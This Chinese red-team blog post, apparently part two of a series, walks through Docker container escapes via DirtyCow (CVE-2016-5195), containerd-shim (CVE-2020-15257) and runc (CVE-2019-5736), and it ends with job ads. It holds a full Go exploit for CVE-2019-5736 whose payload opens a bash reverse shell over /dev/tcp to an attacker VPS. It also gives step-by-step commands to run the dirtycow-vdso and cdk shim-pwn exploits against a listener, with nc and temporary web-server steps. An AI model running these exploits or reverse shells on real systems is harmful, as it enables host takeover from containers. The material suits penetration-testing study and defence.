九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

admin 2023年9月5日13:42:50评论9 views字数 9101阅读30分20秒阅读模式

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

因全文整体内容较长,将文章拆分为多篇在本公众号发出,欢迎大家关注~


上期内容阅读:
九维团队-红队(突破)| 云安全-Docker逃逸手法(上)







三、Docker逃逸问题二:

系统本身内核问题

概述

Docker容器不同于虚拟机,它与宿主机操作系统共享内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。


当宿主主机的内核存在安全漏洞时会一并影响Docker的安全,所以其实就是找内核漏洞,攻击者直接可以利用Docker容器和宿主机操作系统之间的内核漏洞来实现逃逸。实现直接获取宿主机root权限。


因为docker和宿主机内核版本是一样,可以直接在docker内查看内核版本:

uname -a 或 hostnamectl | grep -i kernel 或 cat /proc/version 


九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


下面就挑了一个常见的脏牛漏洞。


逃逸方法


3.1 逃逸方法一:DirtyCow脏牛漏洞 CVE-2016-5195


漏洞描述:

Docker 与 宿主机共享内核。利用DirtyCow。假如宿主机内核版本较低,可以试试。


Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。当一个进程尝试写入只读页面时,内核需要将该页面复制到新的内存空间,并将其设置为可写,以便进程可以继续进行写入操作。


然而,在漏洞存在的情况下,攻击者可以通过多次并发访问同一页面,从而触发内核中的竞争条件,使得内核仅执行第一次写入,但未正确处理其他访问。这样一来,攻击者可以获取对只读页面的写访问权限,并可能修改敏感数据或提升特权级别。


影响版本:

前置条件:需要宿主机的版本内核足够低(阿里云环境不满足条件了)。


漏洞利用: 

直接使用内核提权漏洞exp即可,找一个脏牛漏洞exp直接打。这里我用了ubuntu-14.04.5来测试,内核版本4.4.0-31-generic。

http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso

‍*左右滑动查看更多


配合容器:

https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile

‍*左右滑动查看更多


这里就主要记录一下如何确认一下当前内核版本是否存在脏牛漏洞。


方法一:直接检查内核版本

(区别于第二种直接打的方法,这种就是保守一点)。


其实主要是看看内核是不是打过补丁的版本。


Debian运行命令:

uname -v


Ubuntu/Centos/RHEL运行命令:

uname -r, 或者cat /etc/os-release


九维团队-红队(突破)| 云安全-Docker逃逸手法(中)
九维团队-红队(突破)| 云安全-Docker逃逸手法(中)
九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


以下是主流发行版修复后的内核版本,如果版本低于以下,说明存在风险(主要是从2007-2016年间的Linux)。

Centos7 /RHEL7    3.10.0-327.36.3.el7Cetnos6/RHEL6     2.6.32-642.6.2.el6Ubuntu 16.10      4.8.0-26.28Ubuntu 16.04      4.4.0-45.66Ubuntu 14.04      3.13.0-100.147Debian 8          3.16.36-1+deb8u2Debian 7          3.2.82-1

‍*左右滑动查看更多


可以配合这个工具使用(不过会存在误报):

https://github.com/The-Z-Labs/linux-exploit-suggester

‍*左右滑动查看更多


方法二:直接上exp

(因为上面几个版本也只是网上非官方找的,内核版本的命名机制太混乱了,也不保证这几个版本号肯定是对的,所以建议能直接上poc就直接测了)。


利用手法可以看看视频: 

[还没给你的Docker打上脏牛补丁?坏消息来了]https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651069205&idx=3&sn=2c79678bcfcde9113f3d6848277ffa0a&chksm=bd14abc68a6322d0d5855c5d8ec3b8c5cf7c75886b3b7464c242adc1864cfb1af22bf63a39d7&mpshare=1&scene=23&srcid=1105rp9r0ZahYZNG6KJufSkp# rd

‍*左右滑动查看更多


POC:

https://github.com/scumjr/dirtycow-vdso

‍*左右滑动查看更多


使用方法:

cd /dirtycow-vdso/make # 编译./0xdeadbeef IP:Port # 支持接收反弹shell的地址,如果不加参数默认是127.0.0.1:1234 docker容器本机上的直接执行

‍*左右滑动查看更多


提一个视频里可能会有疑问的问题,视频中有一步是修改IP的操作(修改playload.c文件中的IP值),文件中的IP是16进制模式的(IP equ 0x030018AC) 视频中的ipconfig IP为172.24.0.3。


IP地址是一个32位的二进制数,通常以十六进制表示。在这个例子中0x030018AC,二进制数为:00000011 00000000 00011000 10101100 ⇒ 十进制就是 3 0 24 172。这里有个关键就是网络字节存储用了小端模式。因此实际IP就是172.24.0.3。


防止忘记,顺带附上脏牛官方的poc:

https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.chttps://github.com/Brucetg/DirtyCow-EXP(已编译)

‍*左右滑动查看更多





四、Docker逃逸问题三:

Docker软件设计不当

概述

docker 组件设计过程中自身存在的一些漏洞。


逃逸方法


4.1 逃逸方法一:Docker Containerd 漏洞 CVE-2020-15257


漏洞原理:

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shimAPI,从而实现Docker容器逃逸。

在版本1.3.9和1.4.3之前的容器中,当docker以 —-net=host参数启动时,容器与host共享一套Network namespaces(容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源),containerd-shim API 暴露给了docker容器下。


填充程序的API套接字的访问控制仅仅验证了连接进程的有效uid为0,但没有限制对抽象unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。


简单来说就是:docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字。特定版本的Containerd未做权限控制,可以实现提权。


影响版本:

containerd < 1.3.9containerd < 1.4.3


漏洞利用:

这里用的环境是:

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

‍*左右滑动查看更多


安装好后,查看当前containerd版本 docker version。

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


随便pull一个容器启动,使用 --net=host 启动参数:

docker run -itd --net=host ubuntu:18.04 /bin/bash

‍*左右滑动查看更多


当我们在docker内时如何判断当前容器是否存在风险?


是否能获取containerd-shim 监听的 Unix 域套接字: 

cat /proc/net/unix|grep -a "containerd-shim”

‍*左右滑动查看更多


可以看到抽象命名空间Unix域套接字 。

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


这里的@/containerd-shim/moby/{sha256}.sock 抽象 Unix 域套接字,没有依靠 mnt 命名空间做隔离,而是依靠网络命名空间做隔离。因此我们可以通过操作containerd-shim API 进行逃逸。


直接一键POC + 监听端口。下载了全版本利用文件,当然也可以根据docker宿主机内核版本选择对应的poc wget。

https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gztar -zxvf cdk_v0.1.6_release.tar.gz./cdk_linux_amd64 run shim-pwn IP PORT

‍*左右滑动查看更多


使用公网VPS进行监听。

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


获得了反弹shell。 

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


4.2 逃逸手法二:Docker RunC组件漏洞 CVE-2019-5736


限制:需要等待宿主机执行exec进入当前docker容器时候,才能获取到宿主机权限。如果没有人在宿主机执行的话,是无法进行docker逃逸的。 


注意:该漏洞逃逸后可能会影响docker环境使用在实际测试过程中docker服务崩了好几次,快照回退了好几次,在真实环境下建议还是慎用!!!

笔者看到网上说是会覆盖runc文件。可以先备份一份cp /usr/bin/docker-runc drc_bak

‍*左右滑动查看更多


漏洞描述:

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。


像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。


攻击步骤:

1、将容器内的/bin/sh程序覆盖为# !/proc/self/exe;


2、持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号;


3、以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd;


4、持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷;


5、runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc已经在第四步被覆盖掉。


影响版本:

docker version <=18.09.2RunC version <=1.0-rc6


漏洞利用:

搭建环境比较麻烦,得在本地虚拟机新装个低版本有漏洞的docker。 

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


先编译go脚本,生成攻击payload。

https://github.com/Frichetten/CVE-2019-5736-PoC

‍*左右滑动查看更多


C语言的POC:

https://github.com/agppp/cve-2019-5736-poc

‍*左右滑动查看更多


需要修改一下PoC内容,脚本中的反弹地址为自己的vps。

var payload = "# !/bin/bash n bash -i >& /dev/tcp/xxx.xx.xx.xx/1234 0>&1"

‍*左右滑动查看更多


package main
// Implementation of CVE-2019-5736// Created with help from @singe, @_cablethief, and @feexd.// This commit also helped a ton to understand the vuln// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9dimport ( "fmt" "io/ioutil" "os" "strconv" "strings")
// This is the line of shell commands that will execute on the hostvar payload = "# !/bin/bash n bash -i >& /dev/tcp/xxx.xx.xx.xx/1234 0>&1"
func main() { // First we overwrite /bin/sh with the /proc/self/exe interpreter path fd, err := os.Create("/bin/sh") if err != nil { fmt.Println(err) return } fmt.Fprintln(fd, "# !/proc/self/exe") err = fd.Close() if err != nil { fmt.Println(err) return } fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit // This will be the process created by runc var found int for found == 0 { pids, err := ioutil.ReadDir("/proc") if err != nil { fmt.Println(err) return } for _, f := range pids { fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") fstring := string(fbytes) if strings.Contains(fstring, "runc") { fmt.Println("[+] Found the PID:", f.Name()) found, err = strconv.Atoi(f.Name()) if err != nil { fmt.Println(err) return } } } }
// We will use the pid to get a file handle for runc on the host. var handleFd = -1 for handleFd == -1 { // Note, you do not need to use the O_PATH flag for the exploit to work. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) if int(handle.Fd()) > 0 { handleFd = int(handle.Fd()) } } fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it // It will maintain it's executable flag for { writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) if int(writeHandle.Fd()) > 0 { fmt.Println("[+] Successfully got write handle", writeHandle) writeHandle.Write([]byte(payload)) return } }}

‍*左右滑动查看更多


编译生成payload:

set CGO_ENABLED=0 set GOOS=linux set GOARCH=amd64 go build main.go
九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


拷贝到docker容器中执行(可以在vps上用python起个临时的web服务,docker使用wget远程下载 )。 

python2 -m SimpleHTTPServer 80、python3 -m http.server 8001

‍*左右滑动查看更多

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


修改提权脚本权限,测试一下当前环境是否出网(因为环境改了好几次才测试成功,有些截图内容不对应请忽略)。 

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


一切没问题,在vps启动监听端口并运行提权脚本。 

vps:nc -lvnp 1234docker: ./docker5736rce
九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


然后模拟管理员进入容器(使用/bin/sh),这里是在kali里搭的环境,可能是内核版本有点bug,所以会有while loading shared libraries: libseccomp.so.2:cannot open shared object file: No such file or directory的报错,影响不大。 

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


过一会vps上就可以收到反弹shell了。

查看当前ifconfig,确实是我的kali靶机了,逃逸成功(当然,逃逸后docker环境又坏了,实战还是要慎用)。 

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


(未完待续)


参考资料及推荐阅读:

CVE-2019-5736 runc容器逃逸漏洞分析https://x3fwy.bitcron.com/post/runc-malicious-container-escape
渗透测试之Docker逃逸https://xz.aliyun.com/t/8558# toc-0
『杂项』Docker 逃逸方法汇总https://mp.weixin.qq.com/s/FeOsaMgTMI0AwN7UzTjxAg
脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析https://blog.csdn.net/enjoy5512/article/details/53196047
【云原生渗透】- containerd-shim容器逃逸漏洞(CVE-2020-15257)https://zhuanlan.zhihu.com/p/471532280
host模式容器逃逸漏洞(CVE-2020-15257)技术分析https://mp.weixin.qq.com/s/WmSaLPnG4o4Co1xRiYCOnQ
CVE-2019-14271分析与复现https://ssst0n3.github.io/post/网络安全/安全研究/容器安全/进程容器/服务器容器/docker/历史漏洞分析与复现/docker-software/plumbing/docker-cp/CVE-2019-14271/分析/CVE-2019-14271分析与复现.html
CVE-2019-5736 runc容器逃逸漏洞分析https://x3fwy.bitcron.com/post/runc-malicious-container-escape
Docker SYS_ADMIN 容器逃逸原理解析https://www.freebuf.com/vuls/264843.html
Docker安全性与攻击面分析https://zhuanlan.zhihu.com/p/152052618
*左右滑动查看更多


插播一条招聘信息


一、安全研究工程师实习生(25/26届)

工作地点:深圳
岗位职责:

1、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真; 
2、对防御对抗、反溯源、攻击利用等相关红队工具进行研究和开发;
3、熟悉OWASP TOP 10,具有网络安全、系统安全、Web安全等方面的理论基础;
4、熟悉常见编程语言中的一种(Java、Python、PHP、GO),并能够熟练写出针对性的测试脚本;
5、参与区域内网渗透测试、代码审计、红蓝对抗活动、最新漏洞动态跟踪及复现、风险评估、客户培训等工作;
6、主要参与新服务、新技术创新服务的研究;
7、根据ATT&CK框架梳理研究相关TPPs,并形成对应的检测规则。
加分项:
1、具有渗透测试经验或逆向分析能力或溯源分析能力,曾经参与过大型的红蓝对抗项目;
2、熟悉Java、Python、PHP、GO等编程,并有良好的编程习惯和丰富的代码经验;
3、具备钻研精神,愿意在安全领域做出技术突破;
4、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真; 

二、代码审计工程师实习生(25/26届)
工作地点:深圳
岗位职责:

1、跟踪和分析业界最新安全漏洞。
2、挖掘Java、PHP程序中未知的安全漏洞和代码缺陷,并对漏洞进行验证,编制安全加固报告;
3、主要参与新服务、新技术创新服务的研究;
任职要求:
1、对JAVA/PHP编程有较深入的了解,具备较强的Java/PHP代码审计能力,有丰富实战能力;
2、熟悉JAVA/PHP主流框架,具备有一定的编程能力;
3、深入理解常见安全漏洞产生原理及防范方法;
4、熟练掌握源代码测试工具及测试流程,有CNVD、CNNVD等漏洞证书、CVE或CTF比赛获奖者者优先。
5、熟悉主流的源代码审计工具;
6、思路清晰,具有优秀的分析、解决问题的能力,有良好的学习能力及团队协作能力;
7、具备较强的沟通能力、抗压能力,团队合作精神及钻研精神。


简历投递可扫描本文末二维码添加小编微信,或直接发送至邮箱[email protected]


往期回顾

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)


关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 云安全-Docker逃逸手法(中)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月5日13:42:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-红队(突破)| 云安全-Docker逃逸手法(中)https://cn-sec.com/archives/2007241.html

发表评论

匿名网友 填写信息